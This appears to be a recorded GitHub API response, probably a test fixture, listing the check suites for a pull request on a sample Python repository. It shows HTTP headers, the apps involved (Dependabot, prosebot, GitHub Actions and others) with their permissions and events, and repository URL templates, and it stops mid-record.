('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4974'), ('X-RateLimit-Reset', '1596958127'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"6a145ce47c25d0eef3e82e194f800e7b"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.antiope-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DDA8:6CB7:180B1C:1F6330:5F2F98CF')] {"total_count":6,"check_suites":[{"id":1004503392,"node_id":"MDEwOkNoZWNrU3VpdGUxMDA0NTAzMzky","head_branch":"wrecker-patch-1","head_sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","status":"queued","conclusion":null,"url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503392","before":"9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","after":"fd09d934bcce792176d6b79d6d0387e938b62b7a","pull_requests":[{"url":"https://api.github.com/repos/wrecker/PySample/pulls/7","id":462527907,"number":7,"head":{"ref":"wrecker-patch-1","sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","repo":{"id":283963162,"url":"https://api.github.com/repos/wrecker/PySample","name":"PySample"}},"base":{"ref":"main","sha":"ad83eb83895dafacb1384f89e3be6a9d9cf2b719","repo":{"id":283963162,"url":"https://api.github.com/repos/wrecker/PySample","name":"PySample"}}}],"app":{"id":29110,"slug":"dependabot","node_id":"MDM6QXBwMjkxMTA=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"Dependabot","description":"","external_url":"https://dependabot-api.githubapp.com","html_url":"https://github.com/apps/dependabot","created_at":"2019-04-16T22:34:25Z","updated_at":"2019-07-01T21:20:42Z","permissions":{"checks":"write","contents":"write","issues":"write","members":"read","metadata":"read","pull_requests":"write","statuses":"read","workflows":"write"},"events":["check_suite","issues","issue_comment","label","pull_request","pull_request_review","pull_request_review_comment","repository"]},"created_at":"2020-08-04T05:06:51Z","updated_at":"2020-08-04T05:06:51Z","latest_check_runs_count":0,"check_runs_url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503392/check-runs","head_commit":{"id":"fd09d934bcce792176d6b79d6d0387e938b62b7a","tree_id":"ece026d8b3d79448ead6e7a2e2919dea8057db38","message":"Update README.md","timestamp":"2020-08-04T05:06:50Z","author":{"name":"Mahesh Raju","email":"coder@mahesh.net"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":283963162,"node_id":"MDEwOlJlcG9zaXRvcnkyODM5NjMxNjI=","name":"PySample","full_name":"wrecker/PySample","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PySample","description":"A Sample Python Project","fork":false,"url":"https://api.github.com/repos/wrecker/PySample","forks_url":"https://api.github.com/repos/wrecker/PySample/forks","keys_url":"https://api.github.com/repos/wrecker/PySample/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PySample/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PySample/teams","hooks_url":"https://api.github.com/repos/wrecker/PySample/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PySample/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PySample/events","assignees_url":"https://api.github.com/repos/wrecker/PySample/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PySample/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PySample/tags","blobs_url":"https://api.github.com/repos/wrecker/PySample/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PySample/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PySample/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PySample/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PySample/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PySample/languages","stargazers_url":"https://api.github.com/repos/wrecker/PySample/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PySample/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PySample/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PySample/subscription","commits_url":"https://api.github.com/repos/wrecker/PySample/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PySample/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PySample/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PySample/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PySample/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PySample/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PySample/merges","archive_url":"https://api.github.com/repos/wrecker/PySample/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PySample/downloads","issues_url":"https://api.github.com/repos/wrecker/PySample/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PySample/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PySample/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PySample/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PySample/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PySample/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PySample/deployments"}},{"id":1004503393,"node_id":"MDEwOkNoZWNrU3VpdGUxMDA0NTAzMzkz","head_branch":"wrecker-patch-1","head_sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","status":"queued","conclusion":null,"url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503393","before":"9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","after":"fd09d934bcce792176d6b79d6d0387e938b62b7a","pull_requests":[],"app":{"id":75269,"slug":"pygithubtest","node_id":"MDM6QXBwNzUyNjk=","owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"name":"PyGithubTest","description":"Sample App to test PyGithub","external_url":"https://pygithub.readthedocs.io","html_url":"https://github.com/apps/pygithubtest","created_at":"2020-08-01T17:23:46Z","updated_at":"2020-08-01T17:44:31Z","permissions":{"actions":"write","checks":"write","keys":"read","members":"read","metadata":"read","packages":"read","pages":"read","repository_hooks":"write","vulnerability_alerts":"read","workflows":"write"},"events":["check_run","check_suite","label","member","public"]},"created_at":"2020-08-04T05:06:51Z","updated_at":"2020-08-04T05:06:51Z","latest_check_runs_count":0,"check_runs_url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503393/check-runs","head_commit":{"id":"fd09d934bcce792176d6b79d6d0387e938b62b7a","tree_id":"ece026d8b3d79448ead6e7a2e2919dea8057db38","message":"Update README.md","timestamp":"2020-08-04T05:06:50Z","author":{"name":"Mahesh Raju","email":"coder@mahesh.net"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":283963162,"node_id":"MDEwOlJlcG9zaXRvcnkyODM5NjMxNjI=","name":"PySample","full_name":"wrecker/PySample","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PySample","description":"A Sample Python Project","fork":false,"url":"https://api.github.com/repos/wrecker/PySample","forks_url":"https://api.github.com/repos/wrecker/PySample/forks","keys_url":"https://api.github.com/repos/wrecker/PySample/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PySample/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PySample/teams","hooks_url":"https://api.github.com/repos/wrecker/PySample/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PySample/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PySample/events","assignees_url":"https://api.github.com/repos/wrecker/PySample/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PySample/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PySample/tags","blobs_url":"https://api.github.com/repos/wrecker/PySample/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PySample/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PySample/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PySample/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PySample/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PySample/languages","stargazers_url":"https://api.github.com/repos/wrecker/PySample/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PySample/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PySample/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PySample/subscription","commits_url":"https://api.github.com/repos/wrecker/PySample/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PySample/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PySample/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PySample/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PySample/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PySample/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PySample/merges","archive_url":"https://api.github.com/repos/wrecker/PySample/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PySample/downloads","issues_url":"https://api.github.com/repos/wrecker/PySample/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PySample/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PySample/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PySample/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PySample/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PySample/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PySample/deployments"}},{"id":1004503395,"node_id":"MDEwOkNoZWNrU3VpdGUxMDA0NTAzMzk1","head_branch":"wrecker-patch-1","head_sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","status":"completed","conclusion":"success","url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503395","before":"9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","after":"fd09d934bcce792176d6b79d6d0387e938b62b7a","pull_requests":[],"app":{"id":19534,"slug":"prosebot","node_id":"MDM6QXBwMTk1MzQ=","owner":{"login":"JasonEtco","id":10660468,"node_id":"MDQ6VXNlcjEwNjYwNDY4","avatar_url":"https://avatars1.githubusercontent.com/u/10660468?v=4","gravatar_id":"","url":"https://api.github.com/users/JasonEtco","html_url":"https://github.com/JasonEtco","followers_url":"https://api.github.com/users/JasonEtco/followers","following_url":"https://api.github.com/users/JasonEtco/following{/other_user}","gists_url":"https://api.github.com/users/JasonEtco/gists{/gist_id}","starred_url":"https://api.github.com/users/JasonEtco/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JasonEtco/subscriptions","organizations_url":"https://api.github.com/users/JasonEtco/orgs","repos_url":"https://api.github.com/users/JasonEtco/repos","events_url":"https://api.github.com/users/JasonEtco/events{/privacy}","received_events_url":"https://api.github.com/users/JasonEtco/received_events","type":"User","site_admin":true},"name":"prosebot","description":"Probot App to help you write better on GitHub.\r\n\r\n## Usage\r\n\r\nThis Probot App listens for changes to Markdown files (`.md`) or text files (`.txt`) and runs various checks against them to provide feedback on the English. Currently, the app checks for spelling, prose and inclusive verbiage. This is done by leveraging existing open source libraries, which you can find [listed below](#credits). Here's how it looks in action:\r\n\r\n

\r\n \"image\"\r\n

\r\n\r\n### What it checks\r\n\r\nA non-exhaustive list of the various checks that are run:\r\n\r\n* Correct spelling (and provides possible corrections).\r\n* Use of non-inclusive/profane/offensive language.\r\n* Various prose-related checks, find the full list [here](https://github.com/btford/write-good#checks).\r\n\r\n### Installation\r\n\r\nVisit [the installation page](https://github.com/apps/prosebot) and install the GitHub App on your repositories. That's all there is to it ❤️\r\n\r\n### Configuration\r\n\r\nThere are currently three providers that the app uses to test your text. These can each be disabled, and are all enabled by default. To disable a provider, add a `.github/write-good.yml` file to your repository and set the provider to `false`:\r\n\r\n```yaml\r\n# .github/write-good.yml\r\nwriteGood: true\r\nalex: true\r\nspellchecker: true\r\n```\r\n\r\n### Credits\r\n\r\nThis Probot App is mostly a wrapper around existing open source libraries. The majority of the work is done by those, and they deserve a ton of thanks:\r\n\r\n* [`write-good`](https://github.com/btford/write-good)\r\n* [`alex`](https://github.com/get-alex/alex)\r\n* [`node-spellchecker`](https://github.com/atom/node-spellchecker)\r\n\r\n### Future work\r\n\r\n* Using [Suggested Changes](https://blog.github.com/changelog/2018-10-16-suggested-changes/) to... suggest changes.\r\n* Work on multiple PRs at a time\r\n* Nicer annotations\r\n* More providers? [Open an issue!](https://github.com/JasonEtco/prosebot/issues/new)\r\n","external_url":"https://github.com/JasonEtco/prosebot","html_url":"https://github.com/apps/prosebot","created_at":"2018-10-22T20:28:41Z","updated_at":"2018-10-23T18:40:32Z","permissions":{"checks":"write","contents":"read","pull_requests":"write"},"events":["check_run","check_suite","pull_request"]},"created_at":"2020-08-04T05:06:51Z","updated_at":"2020-08-04T05:06:55Z","latest_check_runs_count":3,"check_runs_url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503395/check-runs","head_commit":{"id":"fd09d934bcce792176d6b79d6d0387e938b62b7a","tree_id":"ece026d8b3d79448ead6e7a2e2919dea8057db38","message":"Update README.md","timestamp":"2020-08-04T05:06:50Z","author":{"name":"Mahesh Raju","email":"coder@mahesh.net"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":283963162,"node_id":"MDEwOlJlcG9zaXRvcnkyODM5NjMxNjI=","name":"PySample","full_name":"wrecker/PySample","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PySample","description":"A Sample Python Project","fork":false,"url":"https://api.github.com/repos/wrecker/PySample","forks_url":"https://api.github.com/repos/wrecker/PySample/forks","keys_url":"https://api.github.com/repos/wrecker/PySample/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PySample/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PySample/teams","hooks_url":"https://api.github.com/repos/wrecker/PySample/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PySample/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PySample/events","assignees_url":"https://api.github.com/repos/wrecker/PySample/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PySample/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PySample/tags","blobs_url":"https://api.github.com/repos/wrecker/PySample/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PySample/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PySample/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PySample/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PySample/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PySample/languages","stargazers_url":"https://api.github.com/repos/wrecker/PySample/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PySample/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PySample/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PySample/subscription","commits_url":"https://api.github.com/repos/wrecker/PySample/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PySample/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PySample/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PySample/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PySample/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PySample/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PySample/merges","archive_url":"https://api.github.com/repos/wrecker/PySample/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PySample/downloads","issues_url":"https://api.github.com/repos/wrecker/PySample/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PySample/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PySample/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PySample/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PySample/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PySample/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PySample/deployments"}},{"id":1004503397,"node_id":"MDEwOkNoZWNrU3VpdGUxMDA0NTAzMzk3","head_branch":"wrecker-patch-1","head_sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","status":"queued","conclusion":null,"url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503397","before":"9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","after":"fd09d934bcce792176d6b79d6d0387e938b62b7a","pull_requests":[],"app":{"id":75507,"slug":"prosebot2","node_id":"MDM6QXBwNzU1MDc=","owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"name":"prosebot2","description":"ProseBot 2","external_url":"https://probot.github.io","html_url":"https://github.com/apps/prosebot2","created_at":"2020-08-04T04:45:55Z","updated_at":"2020-08-04T04:45:55Z","permissions":{"checks":"write","contents":"read","metadata":"read","pull_requests":"write"},"events":["check_run","check_suite"]},"created_at":"2020-08-04T05:06:51Z","updated_at":"2020-08-04T05:06:51Z","latest_check_runs_count":0,"check_runs_url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503397/check-runs","head_commit":{"id":"fd09d934bcce792176d6b79d6d0387e938b62b7a","tree_id":"ece026d8b3d79448ead6e7a2e2919dea8057db38","message":"Update README.md","timestamp":"2020-08-04T05:06:50Z","author":{"name":"Mahesh Raju","email":"coder@mahesh.net"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":283963162,"node_id":"MDEwOlJlcG9zaXRvcnkyODM5NjMxNjI=","name":"PySample","full_name":"wrecker/PySample","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PySample","description":"A Sample Python Project","fork":false,"url":"https://api.github.com/repos/wrecker/PySample","forks_url":"https://api.github.com/repos/wrecker/PySample/forks","keys_url":"https://api.github.com/repos/wrecker/PySample/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PySample/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PySample/teams","hooks_url":"https://api.github.com/repos/wrecker/PySample/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PySample/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PySample/events","assignees_url":"https://api.github.com/repos/wrecker/PySample/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PySample/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PySample/tags","blobs_url":"https://api.github.com/repos/wrecker/PySample/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PySample/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PySample/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PySample/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PySample/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PySample/languages","stargazers_url":"https://api.github.com/repos/wrecker/PySample/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PySample/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PySample/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PySample/subscription","commits_url":"https://api.github.com/repos/wrecker/PySample/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PySample/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PySample/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PySample/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PySample/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PySample/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PySample/merges","archive_url":"https://api.github.com/repos/wrecker/PySample/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PySample/downloads","issues_url":"https://api.github.com/repos/wrecker/PySample/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PySample/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PySample/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PySample/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PySample/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PySample/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PySample/deployments"}},{"id":1004503837,"node_id":"MDEwOkNoZWNrU3VpdGUxMDA0NTAzODM3","head_branch":"wrecker-patch-1","head_sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","status":"completed","conclusion":"success","url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503837","before":"9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","after":"fd09d934bcce792176d6b79d6d0387e938b62b7a","pull_requests":[],"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"created_at":"2020-08-04T05:06:54Z","updated_at":"2020-08-04T05:07:40Z","latest_check_runs_count":2,"check_runs_url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503837/check-runs","head_commit":{"id":"fd09d934bcce792176d6b79d6d0387e938b62b7a","tree_id":"ece026d8b3d79448ead6e7a2e2919dea8057db38","message":"Update README.md","timestamp":"2020-08-04T05:06:50Z","author":{"name":"Mahesh Raju","email":"coder@mahesh.net"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":283963162,"node_id":"MDEwOlJlcG9zaXRvcnkyODM5NjMxNjI=","name":"PySample","full_name":"wrecker/PySample","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PySample","description":"A Sample Python 